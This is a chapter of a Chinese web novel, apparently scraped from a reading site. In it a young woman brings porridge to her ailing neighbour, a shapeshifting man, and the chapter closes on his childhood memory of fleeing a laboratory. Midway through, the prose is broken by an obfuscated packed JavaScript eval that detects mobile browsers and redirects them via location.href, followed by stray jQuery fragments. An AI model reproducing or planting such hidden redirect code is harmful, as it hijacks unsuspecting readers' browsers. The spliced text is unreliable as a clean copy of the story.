默认冷灰
24号文字
方正启体

42. 第 42 章

作者:星霜鲤本书字数:K更新时间:
    回到家,黎悠指尖还残留着方才触到的冰火交织的触感,心里的担忧非但没因送了药减轻,反倒像爬墙的藤蔓,顺着心口的纹路越缠越紧。


    厉云野苍白如纸的脸色、微微颤抖的指尖,还有眼底深处那藏不住的躁动与疲惫,在她脑海里反复回放,每一个细节都像细针,轻轻扎着她的神经。


    仅仅是送药,似乎远远不够。


    她想起从前生病时,母亲尽管工作繁忙也会专门请假,在厨房炖起南瓜小米粥,金黄的南瓜融在软糯的米粒里,咕嘟咕嘟冒着泡,散发出温厚的香气。


    穆清说,生病时肠胃弱,这粥最养胃,也最能补力气,那是带着烟火气的、实打实的慰藉,远比冰冷的药片更能暖透人心。


    这个念头一旦冒出来,就像生了根般再也按捺不住。


    黎悠转身走进厨房,系上那条很多年还是很新的棉布围裙,橱柜门被轻轻拉开,陶瓷碗碟碰撞出细碎的声响。


    她将小米淘洗了三遍,直到水流清澈,又把南瓜仔细去皮去籽,切成均匀的小块,指尖触到南瓜细腻的肌理,带着一丝清甜的凉意。


    砂锅架在灶上,小米与南瓜一同入锅,冷水缓缓漫过食材,火苗舔舐着锅底,渐渐升起的热气模糊了玻璃锅盖。


    她守在旁边,时不时用勺子轻轻搅动,看着米粒在水中慢慢舒展、开花,南瓜渐渐融化在粥里,将汤汁染成温润的金黄色。


    厨房里弥漫开粮食特有的醇香,混着南瓜的清甜,那是一种朴素又治愈的气味,像母亲的怀抱,让人安心。


    粥熬得浓稠软糯,她将其盛进一只白瓷碗里,碗壁带着细密的纹路,保温效果极好。


    想了想,她抽出一张浅粉色的便利贴,笔尖划过纸面,写下一行娟秀的字:「趁热喝点粥,会舒服些。」


    没有多余的客套,只有最直白的关心。


    端着这碗热气腾腾的粥,黎悠第三次站在了1402的门口。


    瓷碗的温热透过掌心传来,她深吸一口气,指尖带着点微颤,轻轻敲响了门。敲门声很轻,像羽毛拂过门板,带着小心翼翼的试探,生怕惊扰了门内可能正在休息的人。


    门内依旧是令人心焦的寂静。


    黎悠等了片刻,心里渐渐沉了下去,正准备将粥放在门口的鞋柜上,转身离开时,门锁突然发出“咔哒”一声轻响。


    门被拉开了一条比之前更宽的缝隙,厉云野的身影出现在门后。


    他似乎是刚从床上挣扎起来,黑色的短发凌乱地贴在额前,几缕发丝被汗水濡湿,脸色依旧苍白,却多了几分病态的潮红。


    他的呼吸有些粗重,胸口微微起伏,看向她的眼神里带着明显的意外,还有一丝被打扰后本能的不耐,那是属于强者的领地被触碰时,下意识的防备。


    但当他的目光落在她手中那只冒着热气的白瓷碗上时,那丝不耐瞬间冻结在眼底,随即像初春的冰雪遇上暖阳,迅速消融,化为了全然的怔忡。


    粥?


    她……特意为他熬了粥?


    一股巨大的暖流猛地冲撞着厉云野的心脏,那心脏因血脉躁动而冰冷僵硬,此刻却被这突如其来的温暖烫得微微发颤。


    自从母亲早逝,族人们只在意他的力量是否足够强大,是否能扛起责任,从没有人这般细致地关心过他的身体。


    他已经记不清,多久没有体会过这种纯粹的、带着烟火气的温暖了,那是无关利益,无关身份,仅仅是因为关心而付出的温柔。


    尤其是,这份温柔来自黎悠。


    他太清楚黎悠的性子了。


    她温和善良,却有着清晰的边界感,待人真诚却从不轻易逾矩。


    从前她和江烁在一起时,这样带着亲昵意味的举动,是江烁独有的特权。


    江烁生病时,她会亲自熬汤送药,会守在身边嘘寒问暖,而他,只能躲在不远处的阴影里,看着那抹温馨的画面,连羡慕都不敢太过明目张胆。


    可现在,黎悠为厉云野熬了粥。


    厉云野的喉结艰难地滚动了一下,想说什么,喉咙却像是被滚烫的暖流堵住了,只能发出一个沙哑的单音:“你……”


    黎悠将粥碗递过去,语气温柔却坚定:“生病了更要吃点东西,光吃药对胃不好。这是小米南瓜粥,温和清淡,你试试看。”


    她的指尖不经意间擦过他的掌心,带着一丝微凉的暖意。


    厉云野沉默地接了过来。白瓷碗的温热透过掌心蔓延开,顺着手臂一路抵达四肢百骸,奇异地安抚着体内蠢蠢欲动的躁动,用勺子舀了一勺放进嘴里,醇厚的南瓜混着清甜的小米,好像让整个人都舒服起来了。


    他垂下眼眸,浓密的睫毛像蝶翼般轻轻颤动,遮掩住了眼底翻涌的情绪,是难以置信的惊喜,和被这份温柔击中的酸涩,更有一种想要将黎悠紧紧拥入怀中、确认这份温暖真实存在的强烈冲动。


    但他不能。他怕自己失控的力量会伤到她,更怕这份突如其来的温柔,只是黎悠一时的恻隐之心。


    他用尽全身力气克制着,低低地说了一声:“……谢谢,我很喜欢。”


    这声谢谢比之前任何一次都要沉重,带着几乎无法承载的感激与动容,尾音微微发颤。


    “你快趁热喝吧,凉了就不好喝了。”黎悠看着他接过粥,心里那块悬着的石头终于稍稍落地,语气也轻快了些,“那我先回去了,不打扰你休息。如果……如果还是很不舒服,一定要去医院,或者……可以叫我。”


    最后那句话,她说得有些轻,带着一点连自己都没察觉到的、想要分担他痛苦的意味。


    厉云野轻轻点了点头,依旧没有抬头看她,只是双手紧紧抱着那只碗,仿佛抱着什么绝世珍宝,指腹轻轻摩挲着碗壁的纹路。


    黎悠皱了皱鼻子,她似乎闻到了血腥味,不解问:“你受伤了吗?我怎么感觉好像有血腥味?”


    厉云野否认道:“你闻错了,我没有受伤,你回去吧。”


    “行吧。”黎悠转身离开,走到自家门口时,忍不住回头望了一眼。


    只见厉云野还站在原地,低着头,目光落在那碗粥上,身影被门廊的阴影笼罩着,显得莫名有些孤单。但那只温热的白瓷碗在昏暗中泛着淡淡的光升起袅袅青烟,为他周身添了一丝微弱却真切的暖意。<


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17050472|192310||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    /p>


    回到家中,黎悠靠在门板上,听着自己渐渐平稳的心跳,心里终于稍稍安定下来。虽然厉云野的状态依旧让人担心,但至少,她做了自己能做的。


    而另一边,厉云野缓缓关上门,背靠着门板,身体像是被抽走了所有力气,顺着冰冷的门板滑坐在地。


    他小心翼翼地打开碗盖,一股浓郁的香气扑面而来,南瓜的清甜混着小米的醇香,带着温热的烟火气,瞬间驱散了房间里因他血脉躁动而弥漫的冷冽气息。


    他用勺子舀起一勺,吹了吹,送入口中。温热的、软糯的粥滑过喉咙,落入仿佛被火焰灼烧的胃里,那股暖意顺着食道蔓延开来,熨帖得让他几乎眼眶发热。他一口一口,极其珍惜地吃着,每一勺都细细品味,仿佛在品尝世间最珍贵的美味。


    这不仅仅是一碗粥。


    这是他从不敢奢望的、来自黎悠的温柔,是照进他冰冷而挣扎的世界里的,第一缕真实而温暖的阳光。


    体内那因月圆之夜和陈教授的信息而翻腾的暴戾与躁动,似乎都被这碗朴素的粥奇异地抚平了几分。


    他闭上眼,将额头抵在冰凉的膝盖上,嘴角却极轻、极轻地勾起了一个几乎看不见的弧度,眼底翻涌的情绪渐渐沉淀,化为了深沉而绵长的悸动。


    那抹南瓜小米粥的香气,如同她的温柔,悄无声息地,在他心里扎了根。


    瓷碗里的南瓜小米粥还凝着余温,那暖意像浸了蜜的春阳,穿透月圆前夕躁动翻涌的血脉,丝丝缕缕渗进厉云野冰封的心脏。


    他背靠着泛着凉气的门板,眼睑轻阖,那熟悉到致命的暖香如藤蔓缠绕,轻而易举便将他拽入记忆的深出——


    那是个与此刻盛夏截然相反的隆冬。记忆里的风是凛冽的,裹着碎冰碴子往骨头缝里钻,冷得人牙关打颤。


    十二年前的青川岭,大雪封山,天地间只剩一片刺目的白。


    年仅八岁的厉云野,因实验意外被迫维持着银灰色狼崽形态,前胸受伤,前腿被特殊器具灼伤,焦黑的伤口还在渗血,染红了蓬松的绒毛。


    他拖着伤腿,在及膝的积雪中艰难跋涉,每一步都像踩在刀尖上,刺骨的寒冷与伤口的灼痛交织,口腔里弥漫着浓重的铁锈味,意识因失血和力竭渐渐模糊。


    他刚从那个充斥着消毒水气味、冰冷器械的“实验室”逃出来,那是个人间地狱,研究员温和的语调下藏着淬毒的寒意,仪器的嗡鸣如跗骨之蛆,至今仍在耳畔回响。


    世界之大,却没有一只“怪物”的容身之处。力气一点点从残破的身体里流逝,视线开始天旋地转,他终于支撑不住,蜷缩在一棵被积雪压弯的巨大松树下。


    意识沉入黑暗前,唯一的念头是,也许,就这样冻死在这里,也好。


    不知过了多久,一种截然不同的、温暖柔软的触感,将他从冰冷的深渊边缘拉了回来。


    有什么东西轻轻抚过他头顶的绒毛,动作小心翼翼,带着能融化冰雪的轻柔,连带着一股淡淡的、像阳光晒过的牛奶般的暖香,驱散了周遭的寒气。


    他艰难地掀开沉重的眼皮,模糊的视线里,映入了一张小女孩的脸。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)